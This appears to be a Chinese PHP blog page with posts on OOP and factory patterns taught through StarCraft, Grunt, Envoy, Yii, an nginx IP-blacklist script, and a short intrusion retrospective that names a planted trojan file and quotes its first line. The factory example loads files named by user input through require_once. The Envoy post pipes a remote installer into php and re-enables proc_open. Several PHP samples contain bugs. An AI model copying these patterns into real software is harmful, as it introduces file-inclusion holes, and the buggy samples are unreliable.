安静
PHP技术博客

用星际学习PHP设计模式-简单工厂模式

张 清月阅读(3)

上次用星际争霸讨论了面向对象的基础知识,似乎面向对象能解决很多问题。

但是还会有很多问题,简单的靠类和对象解决不得太好。

比如如何根据玩家输入的内容(尽管可以转化为其他字符串),来确定要制造的兵种,玩家不会输入代码:new Marine()。

和星际一样,PHP也没有终极兵种,如果类和接口是兵种的话,那么设计模式就是你的战术和控制,它可以让你靠各种兵种的搭配获胜。

待解决的问题:在人族的兵营,我们靠相应玩家的输入来动态确定要造的兵种,假设是机枪兵和火焰兵。

思路:动态的根据传递的数据,新建相应的类的对象。

简单工厂模式示例:

我们把机枪兵类的代码放入一个文件,Marine.php,它的代码如下:

<?php
class Marine {
//机枪兵攻击的方法
public function attack()
{
echo 'Marine attack';
}
}
?>

我们把火焰兵类的代码放入一个文件,Firebat.php,它的代码如下:

<?php
class Firebat {
//火焰兵攻击的方法
public function attack()
{
echo 'Firebat attack';
}
}
?>

主文件中的内容如下:

<?php
//兵种制造器的类
class BarracksCreator {
//制造兵种的方法
public create($createWhat)
{
//根据输入的参数,动态的把需要的类的定义文件载入
require_once($createWhat.'.php');
//根据输入的参数,动态的返回需要的类的对象
return new $createWhat;
}
}
//新建一个兵种制造器对象
$creator = new BarracksCreator();
//靠接收参数制造一个火焰兵对象
$troop1 = $creator->create('Marine');
$troop1->attack();
//靠接收参数制造一个机枪兵对象
$troop2 = $creator->create('Firebat');
$troop2->attack();
?>

用途总结:简单工厂模式可以将新建对象的任务进行封装,一旦需要增加新的返回类,只要修改负责新建对象的那部分代码。

实现总结:需要一个自动根据参数返回新建对象的工厂,比如上面兵种制造器BarracksCreator,使用的时候只需要将参数传递给他的生产方法create(),无需考虑具体的生产细节。

PHP面向对象编程[星际争霸快速入门]

张 清月阅读(5)

前言

面向对象博大精深,对于从未接触过得的人,会觉得一头雾水。

学习的资料很多,但大多比较抽象,所以我用经典的游戏-星际争霸来讨论PHP面向对象。

现在假设我们来用PHP开发星际争霸,从而接触PHP面向对象。

注意,为了便于学习,除了特殊说明,否则各部分代码之间没有关联。而且同一件事情往往用的是不同的代码。

另外我也不去考证各个兵种的属性数字,仅仅用来说明。

一、类和对象

如果玩家制造了一个机枪兵,那么我们怎么表示他呢,因为每个机枪兵有几个基本的数据要记录:剩余的血,杀敌数量,攻击力等等。

我们可以用一个数组来记录一个机枪兵剩余的血和杀敌数量,因为这对于每个机枪兵是独立的。

但攻击力比较麻烦,因为经过升级,攻击力会增加,这就必须要找出所有表示机枪兵的数组,然后进行修改,非常麻烦。

从这里我们可以看出一件事情,首先每个机枪兵有独立的数据需要记录和修改,比如剩余的血。同时他们有相同的数据需要共用,比如攻击力。

这时候面向对象就能帮上我们的忙了。

1.1、类的定义

我们先来处理一部分问题,也就是每个机枪兵独有的数据。

class marine
{
public $blood = 50; //剩余的血
public $kills = 0; //杀敌数量
//这个函数(通常叫做方法)表示攻击敌人时候的运行代码
function attack($enemy)
{
//攻击敌人的代码
}
}

这叫做类,我们建立了一个表示所有机枪兵的类marine,这里面保留了需要每个兵独有的数据,比如上面代码里的剩余的血。

1.2、对象的创建和使用

接下来我们来使用对象,也就是每个机枪兵:

$m1 = new marine();

通过new后面加一个类的名字和括号,我们新建了一个机枪兵\(m1,\)m1被叫做类marine的对象,我们可以把它想象成一个特殊变量,只不过里面保存了多个数据。

如果需要使用或者操作某个机枪兵的血(对象的属性),只要用$m1->blood来表示就可以了:

echo $m1->blood;//输出机枪兵$m1剩余的血

我们再建立一个机枪兵

$m2 = new marine();

如果此时\(m1被敌人攻击过了,还剩下10个血。而\)m2没受过攻击:

echo $m1->blood;//结果是10
echo $m2->blood;//结果是50

使用对象可以很简单的保存每个机枪兵的血,不会互相影响。

如果机枪兵$m1攻击敌人的时候,可以这样使用对象
的方法:

$m1->attack($z1);//假设攻击的是某个小狗的对象$z1

不同的类内可以用同名的函数,比如小狗的类Zergling里面也可以有一个函数attack

要注意的是,从PHP5开始,无论在哪里改变一个对象的属性,都能改变它。比如上面一个小狗对象被作为参数传入机枪兵的attack函数,执行函数之后这个小狗对象的血减少了,这和一般的函数不同。但这是很直观的,如果一个小狗被攻击了,它的血就应该减少。

二、构造函数和析构函数

每次我们新建一个机枪兵的时候,总人口应该加1,如果一个机枪兵被杀,人口应该减少1。

可以通过构造函数和析构函数来自动处理:

class marine
{
//构造函数
function __construct()
{
//增加总人口的代码
}
//析构函数
function __destruct()
{
//减少总人口的代码
}
}

在一个类中,名字为__construct的函数叫做构造函数,每次new新建一个类的对象的时候就会执行:

$m1 = new marine();//每次制造一个机枪兵时系统会调用类marine的构造函数,自动增加总人口

在一个类中,名字为__destruct的函数叫做析构函数,每次销毁一个类的对象的时候就会执行:

unset($m1);//unset可以用于对象,表示销毁一个对象。每次一个机枪兵被杀时系统会调用类marine的析构函数,自动减少总人口

三、静态

机枪兵的攻击力是属于所有机枪兵对象,每个机枪兵的攻击力都是一样的,如果升级,应该一起变化。

这就用到static,表示静态:

class marine
{
static $attackNumber = 10; //攻击力的数字
//这个函数表示攻击敌人时候的运行代码
function attack($enemy)
{
//攻击敌人的代码,$enemy->blood表示敌人对象的血属性
$enemy->blood -= self::$attackNumber;
}
}

静态属性表示类所有的对象都共享的属性,一旦改变,所有的对象都跟着变化。

静态属性用static开头,比如上面的static $attackNumber。

静态属性可以用类直接访问:

echo marine::$attackNumber;//显示10

如果类以内的函数访问,用self::\(attackNumber表示本类的\)attackNumber属性

所以如果我们升级了机枪兵的攻击力,所有的机枪兵都受影响,这就是面向对象的好处之一,也解决了我们前面讨论的共同数据的问题。

函数也可以是静态的,这样就可以用类直接访问,不需要新建对象来调用:

class marine
{
static $attackNumber = 10; //攻击力的数字
//这个函数表示机枪兵升级的运行代码
static  function upgrade()
{
self::$attacknum++;
}
}

如果科技建筑升级完毕,直接就调用这个函数:

marine::upgrade();

四、继承

兵营用来造机枪兵,坦克房用来制造坦克,他们都是建筑,但是却有很多不同,如果用一个类“建筑”来表示,很困难。

但我们要保留他们的共性,比如都能飞行,不希望飞行的代码在各个类重复写,又要让他们能各自独立的生产不同的东西。

所以我们可以用继承来处理,继承表示父子关系,被继承的叫父类,继承的叫子类。用extends表示继承

//建筑类
class building
{
function fly()
{
//建筑飞行的代码
}
}
//兵营类
class marineBuilding extends building
{
function createMarine()
{
//制造机枪兵的代码
}
}
//坦克房类
class tankBuilding extends building
{
function createTank()
{
//制造坦克的代码
}
}

接下来,我们看看继承产生的效果:

//如果造了一个兵营:
$mb1 = new marineBuilding();
//一旦他需要飞行,就可以直接使用建筑类的函数fly(),尽管兵营类的定义里没有这个函数
$mb1->fly();
//而他要制造机枪兵的时候:
$mb1->createMarine();

同样是继承建筑类的坦克房类,就无法制造机枪兵,因为这是兵营类的个性。

如果在子类中的函数调用父类的函数,要使用parent,比如parent::fly()

注意,一个类只能有一个父类,PHP不允许多重继承,也就是说一个孩子只能有一个爹,一个爹可以有N个孩子!

五、访问控制

如果用\(attackNumber = 10表示属性的话,系统默认是public \)attackNumber = 10,所以建议这样写:

class marine
{
public static $attackNumber = 10; //攻击力的数字
}

public表示这个属性是公共的,也就是在任何地方都可以访问和操作的。

但这就存在一些问题,如果有玩家知道了类marine的一些代码结构,那他做个简单的补丁程序,运行的时候加载上去:


//补丁
marine::$attackNumber = 10000;

这样的话,他的机枪兵有10000的攻击力,呵呵,这样的话,谁打得过他!

为此我们要用private,表示这个属性只有类里面的函数才能访问:

class marine
{
private static $attackNumber = 10; //攻击力的数字
//这个函数表示机枪兵升级的运行代码
function upgrade()
{
//这样防止无限升级
if(self::$attacknum<13)
{
self::$attacknum++;
}
}
}

这样一来,只有升级才能改变机枪兵的攻击力。

但是现在往往是团队开发,而且很多用到类的继承,如果private的话,子类就无法访问了,但又不希望随便都可以修改某些属性。

那么可以用protected,protected的属性可以被子类的函数访问。

六、重载

6.1、属性重载

如果我们把地面部队作为一个类,让机枪兵类来继承他,这时候如果地面部队类和机枪兵类里面都定义了攻击力$attackNumber,那么每个兵的攻击力就决定于机枪兵类,而不是地面部队。这就叫做重载。

//地面部队
class groundArmy
{
public $attackNumber = 5;
}
//机枪兵
class marine extends groundArmy
{
public $attackNumber = 10; //攻击力的数字
}
$m1 = new marine();//新建一个机枪兵
echo $m1->attackNumber;//显示攻击力为10

6.2、函数重载

重载也可以用于函数,子类的函数如果和父类函数同名,除非另行说明,否则子类的对象默认调用子类内的函数。

比如人族的鬼兵类ghost和神族类的黑暗圣堂类(隐刀),都是隐形兵种,但是鬼兵隐形的时候会减少能量,黑暗圣堂根本没有能量属性。

如果我们把隐形能力作为父类,鬼兵类ghost和神族类的黑暗圣堂类DarkTemplar来继承它,同时实现不同的隐形代码:


//隐形能力类
class concealAbility
{
//这个函数表示隐形的运行代码
function conceal()
{
//隐形的运行代码
}
}
//鬼兵类
class ghost extends concealAbility
{
$energy = 150;
//这个函数表示隐形的运行代码
function conceal()
{
//隐形的运行代码
//减少鬼兵的能量,$this表示当前对象,也就是当前这个鬼兵
$this->energy -= 25;
}
}
//黑暗圣堂类
class DarkTemplar extends concealAbility
{
//这个函数表示隐形的运行代码
function conceal()
{
//隐形的运行代码,不影响能量
}
}
//新建一个鬼兵
$g1 = new ghost();
//显示能量为150
echo $g1->energy;
//鬼兵隐形
$g1->conceal();
//显示能量为125
echo $g1->energy;
//新建一个黑暗圣堂
$d1 = new DarkTemplar();
//黑暗圣堂隐形,他没有能量属性
$g1->conceal();

七、接口

PHP不允许多重继承,那么有些问题就难办了。

假如为了规范处理,我们把隐形的能力建立一个类,然后把飞行能力放一个类,那么人族的侦察机怎么处理?不能继承两个类!

那我们不用继承也行,但是开发组的其他人一旦涉及到侦察机,要把长长的代码读一遍吗?有没有可能知道类的所有方法的简要描述?

可以用到接口interface,一个类可以执行(继承)多个接口,接口中定义的函数不能有函数体,执行接口的类必须将这些函数完整定义。

这样我们知道侦察机实现了飞行能力接口,必然有接口里面描述的飞行方法:


//隐形能力的接口
interface concealAbility
{
public function conceal();
}
//飞行能力的接口
interface flyAbility
{
public function fly();
}
//侦察机类
class Wraith implements flyAbility, concealAbility
{
//这个函数表示侦察机飞行的运行代码
function fly()
{
//飞行的运行代码
}
//这个函数表示侦察机隐形的运行代码
function conceal()
{
//隐形的运行代码
}
}

八、总结

我们讨论了PHP面向对象的基本知识,通过星际争霸这一经典的游戏来说明,大家可以看到面向对象的初步作用。

我们看到通过面向对象可以使代码更加清晰,类将代码组织起来,比较方便的重复使用。

同时对象也减少了变量的冲突,方便相关性数据的保存和使用。

如果要解决的问题涉及很多方面,面向对象可以演化出更加灵活和有技巧的方式,比如通常提到的设计模式,和很多框架。

当然,面向对象也有缺点,从上面的代码可以看到,首先代码就多了,简单的任务如果定义许多类,反而麻烦。

对于简单任务,面向对象也可能使代码运行的效率降低。

深入的探讨,超出了本文的范围。

有兴趣的朋友可以上我的博客,里面有些相关的文章。

用星际学习PHP设计模式3-抽象工厂模式

张 清月阅读(2)

lightsaber文锋

星际争霸是战略游戏,所以同样的兵种,敌我显示是不同的。

典型的就是鼠标的颜色,点中自己的物体的时候,鼠标颜色变成绿色,点中敌人的物体的时候,鼠标颜色变成红色。

还有就是每个物体的状态,点中自己的物体的时候,状态区显示完整的状态,点中敌人的物体的时候,状态区显示一部分信息。

我们假设只考虑鼠标和人族的运输船,玩家自己的运输船点中后状态区会显示里面装载的部队,而点中敌人的则不会显示里面是否装载部队。

这样我们就有四种对象:点中自己的鼠标,点中敌人的鼠标,自己的运输船状态,敌人的运输船状态。

如果用工厂方法模式,就要建立四个具体工厂(或者子工厂),这样的代码不便于维护和修改,因为我们以后要增加另一种情况:盟友。

待解决的问题:

我们希望将这些对象联系起来,使得工厂的操作更加有逻辑性。

思路:

既然我们通过自己和敌人来区分对象,那么统一归属的对象放入相同的具体工厂,每个具体工厂负责制造多种对象。

抽象工厂模式示例:

<?php
//四个产品类
//点中自己的物体时的鼠标
class mineMouse {
//鼠标的颜色
$color = 'green';
}
//点中敌人的物体时的鼠标
class enemyMouse {
//鼠标的颜色
$color = 'red';
}
//自己的运输船状态
class mineDropship {
//显示装载的情况,假设2辆坦克
$loading = '2 tanks';
}
//敌人的运输船状态
class enemyDropship {
//不显示装载的情况
$loading = '';
}
//主工厂类,也叫抽象工厂类
class abstractCreator {
//根据参数分配工作到具体的工厂,并返回具体工厂对象
public function getCreator($belong)
{
//获取具体工厂的类名
$creatorClassName = $belong.'Creator';
//返回具体工厂对象
return new $creatorClassName();
}
}
//具体工厂必须执行的接口
interface productCreator {
//制造方法,或者说根据参数返回产品(鼠标,运输船)的方法
public function creatProduct($productName);
}
//制造属于自己的物体的具体工厂,执行接口
class mineCreator implements productCreator {
//根据参数生产并返回属于自己的产品
public function creatProduct($productName)
{
//获取产品的类名
$productClassName = 'mine'.$productName;
//返回产品对象
return new $productClassName;
}
}
//制造属于敌人的物体的具体工厂,执行接口
class enemyCreator implements productCreator {
//根据参数生产并返回属于敌人的产品
public function creatProduct($productName)
{
//获取产品的类名
$productClassName = 'enemy'.$productName;
//返回产品对象
return new $productClassName;
}
}
//开始操作
//新建抽象工厂对象
$abstractCreator = new abstractCreator();
//根据归属,得到具体工厂对象,这里先演示敌人的
$realCreator1 = $abstractCreator->getCreator('enemy');
//让具体工厂对象生产鼠标对象
$product1 = $realCreator1->creatProduct('Mouse');
//让鼠标对象显示颜色,显示结果red
echo $product1->color;
//根据归属,得到另一个具体工厂对象,这里演示自己的
$realCreator2 = $abstractCreator->getCreator('mine');
//让具体工厂对象生产运输船
$product2 = $realCreator2->creatProduct('Dropship');
//让运输船对象显示装载对象,显示结果2 tanks,两辆坦克
echo $product2->loading;
?>
```
#### 用途总结:
抽象工厂模式将拥有相同属性的产品归类到同一个具体工厂,减少具体工厂的数量,操作的时候,可以理清职责。
#### 实现总结:
需要一个根据属性返回具体工厂对象的抽象工厂,比如上面abstractCreator,同时需要将各个产品的属性(自己的,敌人的)进行归类,根据属性建立各个具体工厂,每个具体工厂制造多个具有相同属性的不同产品(鼠标和运输船)。

用星际学习PHP设计模式2-工厂方法模式

张 清月阅读(2)

PHP手册上提到的工厂模式,其实是简单工厂模式。这里来讨论简单工厂模式的扩展:工厂方法模式

待解决的问题:

虽然简单工厂解决了动态返回不同类型对象的问题,但是实际情况当中,往往在新建一个对象的时候,需要做一些额外处理,比如制造机枪兵的时候需要判断水晶矿是否大于50,而制造火焰兵的时候需要同时判断水晶矿是否大于50和气矿大于25,还有是否建造了研究院。如果把这些代码全部放到工厂制造类里面,会使得制造类很臃肿,而且随着工厂生产的对象的种类越来越多,工厂制造类的代码会越来越难以维护。

思路:

简单工厂模式中的工厂类(兵种制造器的类)保持不变,增加一个制造接口,定义一个实际制造对象的方法,然后定义各个具体制造不同对象的工厂,同时要求这些工厂执行这个制造接口,让这些工厂去实现实际制造对象的方法。

工厂方法模式示例:

我们把机枪兵类和制造机枪兵的类的代码放入一个文件,Marine.php,它的代码如下:

<?php
//机枪兵类
class Marine {
//机枪兵攻击的方法
public function attack()
{
echo 'Marine attack';
}
}
//制造机枪兵的类,执行接口abstractCreator
class MarineCreator implements abstractCreator {
//实际制造机枪兵的方法
public function realCreate()
{
//如果水晶矿大于50,这里只是作为说明,因为并不存在ore这个变量,也不考虑水晶少于50的处理
if($ore>50)
{
return new Marine();
}
}
}
?>

我们把火焰兵类和制造火焰兵的类的代码放入一个文件,Firebat.php,它的代码如下:

<?php
//火焰兵类
class Firebat {
//火焰兵攻击的方法
public function attack()
{
echo 'Firebat attack';
}
}
//制造火焰兵的类,执行接口abstractCreator
class FirebatCreator implements abstractCreator
//实际制造火焰兵的方法
public function realCreate()
{
//如果水晶矿大于50同时气矿大于25,并且研究院已经存在。这里只是作为说明,因为并不存在ore和gas和Academy变量,也不考虑资源不够时的处理
if($ore>50 && $gas>25 && Academy>1)
{
return new Firebat();
}
}
}
?>

主文件中的内容如下:

<?php
//各个具体工厂必须执行的接口
interface abstractCreator {
//规定各个具体工厂要实现的方法
public function realCreate();
}
//兵种制造器的类,也就是主工厂
class BarracksCreator {
//制造兵种的方法
public create($createWhat)
{
//根据输入的参数,动态的把需要的类的定义文件载入
require_once($createWhat.'.php');
//根据输入的参数,动态的获取相应的具体工厂的类的名字
$creatorClassName = $createWhat.'Creator';
//新建具体工厂对象
$creator = new $creatorClassName;
//用具体工厂来实际生产,然后返回需要的类的对象。因为它们都执行了接口abstractCreator,所以肯定实现了方法realCreate()
return $creator->realCreate();
}
}
//新建一个兵种制造器对象
$creator = new BarracksCreator();
//靠接收参数制造一个火焰兵对象
$troop1 = $creator->create('Marine');
$troop1->attack();
//靠接收参数制造一个机枪兵对象
$troop2 = $creator->create('Firebat');
$troop2->attack();
?>

用途总结:

工厂方法模式将新建对象的任务将给对应的具体工厂类,不必因为某些生产的对象需要进行额外处理而修改对外的主工厂。

实现总结:

需要接收参数的主工厂类,比如上面兵种制造器BarracksCreator,还需要声明具体制造方法的一个接口,比如上面abstractCreator,然后定义具体生产各个产品的具体工厂类,每个具体工厂类必须执行接口abstractCreator,这样他们就必须实现制造对象的方法,比如上面的realCreate()。使用的时候只需要将参数传递给主工厂类工厂的生产方法create(),然后由create()根据参数生成具体工厂类的对象,并调用具体工厂类realCreate()获取制造的产品对象并返回,对外界使用来说,只需调用主工厂类工厂进行生产。

说明:

其实这篇文章内的工厂方法模式和有些文章写的不同,标准的工厂模式往往是用一个抽象类来代替上面的接口abstractCreator,然后让所有的具体工厂类来继承它,但使用的时候,由于抽象类不能实例化(新建它的对象),所以经常是代码中直接new FirebatCreator(),但是简单工厂模式可以解决直接new的问题,所以我这里将简单工厂模式和工厂方法模式一起使用,使这里的示例更加实用。同时由于PHP是单继承,而执行接口的数量是没有限制的,所以使用接口abstractCreator更加灵活。

180731 php catch error层级

张 清月阅读(30)

非trycatch 下的throw 异常


class ab{
public function gg(){
// try{
if(1!=2){
echo "run is 1!=2".PHP_EOL;
throw new Exception("Error Processing Request", 1);
}
// }catch(Exception $e){
// 	echo "run back".PHP_EOL;
// }
}	
public function __destruct() {
print "Destroying " . self::class . "\n";
}
}
$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
PHP Fatal error:  Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
thrown in /Users/ab/Sites/try.php on line 8
Fatal error: Uncaught Exception: Error Processing Request in /Users/ab/Sites/try.php:8
Stack trace:
#0 /Users/ab/Sites/try.php(22): ab->gg()
#1 {main}
thrown in /Users/ab/Sites/try.php on line 8
FAIL: 255

trycatch 下的 throw异常


class ab{
public function gg(){
try{
if(1!=2){
echo "run is 1!=2".PHP_EOL;
throw new Exception("Error Processing Request", 1);
}
}catch(Exception $e){
echo "run back".PHP_EOL;
}
}	
public function __destruct() {
print "Destroying " . self::class . "\n";
}
}
$ab=new ab();
$ab->gg();

执行结果


run is 1!=2
run back
Destroying ab

180504 stomp-php 持久化参数

张 清月阅读(29)

项目使用activemq的时候,发送的消息一直都未持久话,也就是未消费队列被存储起来。重启后就消失了。

使用的是 stomp-php 免安装php扩展,简单部署。

"require": {
"corneltek/cliframework": "^3.0",
"stomp-php/stomp-php": "^4.2"
}

调试使用使用后台发送消息勾选 Persistent Delivery后,重启 activemq是作为持久化消息保存的。

源代码包里搜了下 presistent

发现代码:

$producer->send($queue, new Message('message-b', ['persistent' => 'true']));

测试了下 将head的Options里封装

['persistent' => 'true']
//就成功持久化了

160725 grunt helloworld

张 清月阅读(1532)

为何要用构建工具?

一句话:自动化。对于需要反复重复的任务,例如压缩(minification)、编译、单元测试、linting等,自动化工具可以减轻你的劳动,简化你的工作。当你在 Gruntfile 文件正确配置好了任务,任务运行器就会自动帮你或你的小组完成大部分无聊的工作。

为什么要使用Grunt?

Grunt生态系统非常庞大,并且一直在增长。由于拥有数量庞大的插件可供选择,因此,你可以利用Grunt自动完成任何事,并且花费最少的代价。如果找不到你所需要的插件,那就自己动手创造一个Grunt插件,然后将其发布到npm上吧。先看看入门文档吧。

下面是安装使用过程

终端安装cli

npm install -g grunt-cli

构建项目目录

npm init

会生成一个package.json

{
"name": "cc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC"
}

安装所需的 moudle

 npm install --save-dev grunt grunt-contrib-concat grunt-contrib-jshint grunt-contrib-sass grunt-contrib-uglify grunt-contrib-watch grunt-contrib-connect

安装完模块后 package.json文件会被更改

{
"name": "cc",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"devDependencies": {
"grunt": "^1.0.1",
"grunt-contrib-concat": "^1.0.1",
"grunt-contrib-connect": "^1.0.2",
"grunt-contrib-jshint": "^1.0.0",
"grunt-contrib-sass": "^1.0.0",
"grunt-contrib-uglify": "^2.0.0",
"grunt-contrib-watch": "^1.0.0"
}
}

创建grunt配置文件 Gruntfile.js

module.exports = function(grunt){
// 项目配置
grunt.initConfig({
pkg: grunt.file.readJSON('package.json'),
uglify: {
options: {
banner: '/*! <%= pkg.name %> <%= grunt.template.today("yyyy-mm-dd") %> */\n'
},
build: {
src: 'src/*.js',
dest: 'build/<%= pkg.name %>.min.js'
}
}
});
// 加载提供"uglify"任务的插件
grunt.loadNpmTasks('grunt-contrib-uglify');
// 默认任务
grunt.registerTask('default', ['uglify']);
}

当前目录创建src

添加a.js

function hello(){
console.log('hello');
}

添加b.js

function world(){
console.log('world');
}

构建 grunt

gunt
Running "uglify:build" (uglify) task
>> 1 file created.
Done.

查看build目录cc.min.js

/*! cc 2016-07-25 */
function hello(){console.log("hello")}function world(){console.log("world")}

具体demo下载地址

http://pan.baidu.com/s/1boIuvP9

更多查看

http://www.gruntjs.net/getting-started

160411 php组合排列实现

张 清月阅读(1836)

学习系统实现组合排列

遇到个需求需要从100道题目中随机抽取10道题作为学习测试题,并且出现的组合不能重复,给出大概可用组合的次数.

组合排列实现:

//PHP乘阶实现
function factorial($n)
{
if ($n > 1) {
return $n * factorial($n - 1);
} else {
return 1;
}
}
//组合排列
function randGet($n, $m)
{
echo "{$n}个数中取{$m}个数随机排列,且不重复可有" . factorial($n) / factorial($n - $m) / factorial($m) . "次变种" . PHP_EOL;
}
randGet(3, 2);
randGet(6, 2);
randGet(100, 4);

执行结果:

3个数中取2个数随机排列,且不重复可有3次变种
6个数中取2个数随机排列,且不重复可有15次变种
100个数中取4个数随机排列,且不重复可有3921225次变种

参考:

  1. 乘阶
  2. 排列组合
  3. 解决公式

160327 使用Envoy管理多服务器

张 清月阅读(1289)

在多服务器负载均衡的时候,会有代码发布问题,如果你很懒的去架设jekins这种持续话集成工具的时候,你可以使用Envoy试试,当然你也可以用cobbler puppet.但我相信当你使用过Envoy 你会惊艳她功能的

Envoty(Laravel Envoy):

提供了简洁、轻量的语法用于定义在远程服务器上可执行的通用任务。通过 Blade 风格的语法,你可以很容易地设置任务从而完成部署、执行 Artisan 命令或其他更多工作。

如何安装Envoy:

//安装Composer
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
//将Composer配置给所有用户
composer global require "laravel/installer"
//安装Laravel Envoy
composer global require "laravel/envoy=~1.0"
//将bin放入当前用户Path
echo 'export PATH="$PATH:$HOME/.composer/vendor/bin"' >> ~/.bashrc
//导入,免登出
source ~/.bashrc
//添加larvel执行权限
chmod +x /root/.composer/vendor/laravel/installer/laravel
//添加envoy执行权限
chomp +x /root/.composer/vendor/laravel/envoy/envoy

注意:

这里需要proc_open支持所以你查看是否支持

/usr/local/php/etc/php.ini
//删除
disable_functions中
proc_open proc_status

使用Envoy创建任务

envoy init gb@192.168.10.10
Envoy file created!

会生成文件:

Envoy.blade.php

文件内容编辑成如:

  vim Envoy.blade.php
@servers(['web' => 'gb@192.168.10.10 -p 70011'])
@task('deploy')
cd /home/backup
echo "asdasdas" >> 1.log
@endtask

执行Envoy

envoy run deploy

多服器配置运行:

@servers(['web-1' => '192.168.1.1', 'web-2' => '192.168.1.2'])
@task('deploy', ['on' => ['web-1', 'web-2']])
cd site
git pull origin {{ $branch }}
php artisan migrate
@endtask

更多阅读:

160317 Yiihost信息获取

张 清月阅读(1179)

  • 假设域名为

    http://www.bee.com/index.php?r=plan/index
    
  • 获取域名

    Yii::app()->request->hostInfo;
    http://www.bee.com
    
  • 获取当前URL

    Yii::app()->request->getUrl();
    /index.php?r=/plan/index
    
  • 获取(除域名外的)首页地址

    Yii::app()->user->returnUrl;
    /
    
  • 获取(除域名外的)根目录地址

    Yii::app()->homeUrl;
    /index.php
    
  • 获取请求的相对路径

    Yii::app()->request->baseUrl;
    
  • 获取网站根目录相对地址

    Yii::app()->baseUrl;
    
  • Yii获取IP地址

    Yii::app()->request->userHostAddress;
    127.0.0.1
    
  • Yii判断提交方式

    Yii::app()->request-isPostRequest
    
  • proteced目录的物理路径

    Yii::app()->basePath;
    /Users/aj/Bee/protected
    
  • 获取上一页的url以返回

    Yii::app()->request->urlReferrer;
    
  • 获取当前控制器ID

    Yii::app()->getController()->getAction()->id;
    plan
    
  • 项目路径

    dirname(Yii::app()->BasePath);
    /Users/aj/Bee/
    
  • Yii获取get,post过来的数据

    Yii::app()->request->getParam('id');
    
  • Yii如何设置时区

    可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区
    
  • 防止重复提交

    Ccontroler->refresh();
    
  • demo代码

    echo "获取域名";
    echo PHP_EOL;
    echo "Yii::app()->request->hostInfo;";
    echo PHP_EOL;
    echo Yii::app()->request->hostInfo;
    echo PHP_EOL;
    echo "获取当前URL";
    echo PHP_EOL;
    echo "Yii::app()->request->getUrl();";
    echo Yii::app()->request->getUrl();
    echo PHP_EOL;
    echo "获取(除域名外的)首页地址";
    echo PHP_EOL;
    echo "Yii::app()->user->returnUrl;";
    echo PHP_EOL;
    echo Yii::app()->user->returnUrl;
    echo PHP_EOL;
    echo "获取(除域名外的)根目录地址";
    echo PHP_EOL;
    echo "Yii::app()->homeUrl;";
    echo PHP_EOL;
    echo Yii::app()->homeUrl;
    echo PHP_EOL;
    echo "获取请求的相对路径";
    echo PHP_EOL;
    echo "Yii::app()->request->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->request->baseUrl;
    echo PHP_EOL;
    echo "获取网站根目录相对地址";
    echo PHP_EOL;
    echo "Yii::app()->baseUrl;";
    echo PHP_EOL;
    echo Yii::app()->baseUrl;
    echo PHP_EOL;
    echo "YII获取 IP地址";
    echo PHP_EOL;
    echo "Yii::app()->request->userHostAddress;";
    echo PHP_EOL;
    echo Yii::app()->request->userHostAddress;
    echo PHP_EOL;
    echo "Yii判断提交方式";
    echo PHP_EOL;
    echo "Yii::app()->request-isPostRequest";
    echo PHP_EOL;
    echo "proteced目录的物理路径";
    echo PHP_EOL;
    echo "Yii::app()->basePath;";
    echo PHP_EOL;
    echo Yii::app()->basePath;
    echo PHP_EOL;
    echo "获取上一页的url以返回";
    echo PHP_EOL;
    echo "Yii::app()->request->urlReferrer;";
    echo PHP_EOL;
    echo Yii::app()->request->urlReferrer;
    echo PHP_EOL;
    echo "获取当前控制器ID";
    echo PHP_EOL;
    echo "Yii::app()->getController()->getAction()->id;";
    echo PHP_EOL;
    echo Yii::app()->getController()->getAction()->id;
    echo PHP_EOL;
    echo "项目路径";
    echo PHP_EOL;
    echo "dirname(Yii::app()->BasePath);";
    echo PHP_EOL;
    echo dirname(Yii::app()->BasePath);
    echo PHP_EOL;
    echo "Yii获取get,post过来的数据";
    echo PHP_EOL;
    echo "Yii::app()->request->getParam('id');";
    echo PHP_EOL;
    echo Yii::app()->request->getParam('id');
    echo PHP_EOL;
    echo "Yii如何设置时区";
    echo PHP_EOL;
    echo "可以在config/main.php里'timeZone'=>'Asia/Chongqing',设定时区";
    echo PHP_EOL;
    echo "防止重复提交";
    echo PHP_EOL;
    echo "Ccontroler->refresh();";
    

151209 nginx动态添加ip黑名单

张 清月阅读(1880)

Nginx

早上起来服务访问报警,查了下log,一个俄罗斯ip不停的更换user-agent来访问某站,导致FPM进程数过多。

查了下阿里云的安全卫士,竟然没有添加黑名单功能。对于iptables一直是懵懂状态,so 只能从代码或者nginx添加黑名单功能。

PHP代码级别的就非常简单了:

if($_SERVER['REMOTE_ADDR'] == "xx.xx.xx.xx"){   
exit();  
}

代码从网上看到的不太对,稍微调整了下,目前已经可以使用代码
在下面贴出来:

#!/bin/bash
tail -n50 /home/wwwlogs/access.log |
awk '{print $1,$7,$9}' |
grep -i -v -E "googleyahoobaidumsnbotFeedSkysogou360bingsoso403api" |
awk '{print $1}' |  sort | uniq -c | sort -rn |
awk '{if($1>5)print "deny "$2";"}' > /usr/local/nginx/conf/vhost/blockip.conf
/usr/local/nginx/sbin/nginx -s reload

Crontab中添加锁定时间

0,30 0-23 * * * /bin/bash /root/blockip.sh

原文链接:

http://www.lxway.com/1468096.htm

当然本身nginx的通过ngxhttplimit_req可以用来做动态黑名单功能,实现方法:

https://github.com/codehunte/ngxwhiteblacklist/blob/master/whiteblack_list.txt

151110 服务器入侵复盘

张 清月阅读(1408)

互联网的黑客人事是越来越专业了,尽可能的数据挖掘,历史追溯,去寻找你的漏洞。前2天的草榴,前段时间的网易,总之人在互联网总会被挨刀。废话多了看文章。

大概过程:

黑客通过网易密码泄露中的邮箱,并且查阅相关邮件内容,得知某站存在,遂重置密码,登录后台,上传插件,激活木马。

总结:

互联网的每一个大事件其实都有可能跟你息息相关。

中午14点多收到阿里云短信服务器有密码并且隔离了,遂登录阿里云查看

木马文件:

wp-includes/media-bak.php

看了下创建时间 14:10

木马内容

    $qV = "stop_";
